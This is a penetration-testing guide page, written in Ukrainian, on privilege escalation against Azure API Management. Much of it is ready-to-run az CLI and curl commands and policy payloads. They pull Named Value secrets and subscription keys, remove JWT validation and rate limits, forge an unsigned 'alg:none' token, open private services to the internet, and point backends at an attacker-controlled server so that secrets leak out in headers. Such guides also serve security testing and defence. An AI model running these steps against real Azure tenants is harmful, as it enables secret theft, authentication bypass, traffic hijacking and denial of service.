10 KiB
Az - API Management Privesc
{{#include ../../../banners/hacktricks-training.md}}
Microsoft.ApiManagement/service/namedValues/read & Microsoft.ApiManagement/service/namedValues/listValue/action
Атака полягає у доступі до конфіденційних секретів, збережених у Azure API Management Named Values — або шляхом безпосереднього отримання значень секретів, або зловживання дозволами для отримання Key Vault–backed secrets через managed identities.
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
Microsoft.ApiManagement/service/subscriptions/read & Microsoft.ApiManagement/service/subscriptions/listSecrets/action
Для кожної підписки атакуючий може отримати ключі підписки, використовуючи endpoint listSecrets з методом POST:
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
У відповіді містяться первинний ключ підписки (primaryKey) та вторинний ключ (secondaryKey). З цими ключами зловмисник може автентифікуватися та отримати доступ до API, опублікованих через API Management Gateway:
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
Зловмисник може отримати доступ до всіх API та продуктів, пов'язаних із підпискою. Якщо підписка має доступ до конфіденційних продуктів або API, зловмисник може отримати конфіденційну інформацію або виконати несанкціоновані операції.
Microsoft.ApiManagement/service/policies/write або Microsoft.ApiManagement/service/apis/policies/write
Зловмисник спочатку отримує поточну політику API:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
Атакувальник може змінити політику різними способами залежно від своїх цілей. Наприклад, щоб вимкнути автентифікацію, якщо політика містить JWT token validation, атакувальник може видалити або закоментувати цей розділ:
<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>
Щоб вимкнути контролі rate limiting та дозволити атаки denial-of-service, зловмисник може видалити або закоментувати політики quota та rate-limit:
<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>
Щоб змінити backend route і перенаправити трафік на attacker-controlled server:
<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>
Зловмисник потім застосовує змінену політику. Тіло запиту має бути JSON-об'єктом, що містить політику у форматі XML:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'
JWT Validation Misconfiguration
Атакуючому потрібно знати, що API використовує перевірку JWT токенів і що політика налаштована неправильно. Неправильно налаштовані політики валідації JWT можуть містити require-signed-tokens="false" або require-expiration-time="false", що дозволяє сервісу приймати непідписані токени або токени, що ніколи не закінчуються.
Атакуючий створює шкідливий JWT токен, використовуючи алгоритм none (непідписаний):
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
attacker надсилає запит до API, використовуючи malicious token:
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
Якщо політика неправильно налаштована з require-signed-tokens="false", сервіс прийматиме непідписаний токен. Атакувальник також може створити токен без заяви про термін дії, якщо require-expiration-time="false".
Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action
Атакувальник спочатку перевіряє поточну мережеву конфігурацію сервісу:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
Атакувальник переглядає JSON-відповідь, щоб перевірити значення publicNetworkAccess та virtualNetworkType. Якщо publicNetworkAccess встановлено в false або virtualNetworkType встановлено в Internal, сервіс налаштований на приватний доступ.
Щоб відкрити сервіс в Інтернеті, атакувальник має змінити обидва параметри. Якщо сервіс працює в internal-режимі (virtualNetworkType: "Internal"), атакувальник змінює його на None або External і вмикає public network access. Це можна зробити за допомогою Azure Management API:
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'
Після того як virtualNetworkType встановлено в None або External, а publicNetworkAccess увімкнено, сервіс та всі його API стають доступними з Інтернету, навіть якщо раніше вони були захищені приватною мережею або приватними кінцевими точками.
Microsoft.ApiManagement/service/backends/write
Зловмисник спочатку перелічує наявні backends, щоб визначити, який із них змінити:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
Атакувальник отримує поточну конфігурацію того backend, який хоче змінити:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
Зловмисник змінює backend URL так, щоб він вказував на сервер під їхнім контролем. Спочатку вони отримують ETag із попередньої відповіді, а потім оновлюють backend:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'
Як альтернативу, атакуючий може налаштувати backend headers, щоб exfiltrate Named Values, які містять секрети. Це робиться через backend credentials configuration:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'
За цією конфігурацією Named Values надсилаються як заголовки в усіх запитах до бекенду, контрольованого атакуючим, що дозволяє ексфільтрацію конфіденційних секретів.
{{#include ../../../banners/hacktricks-training.md}}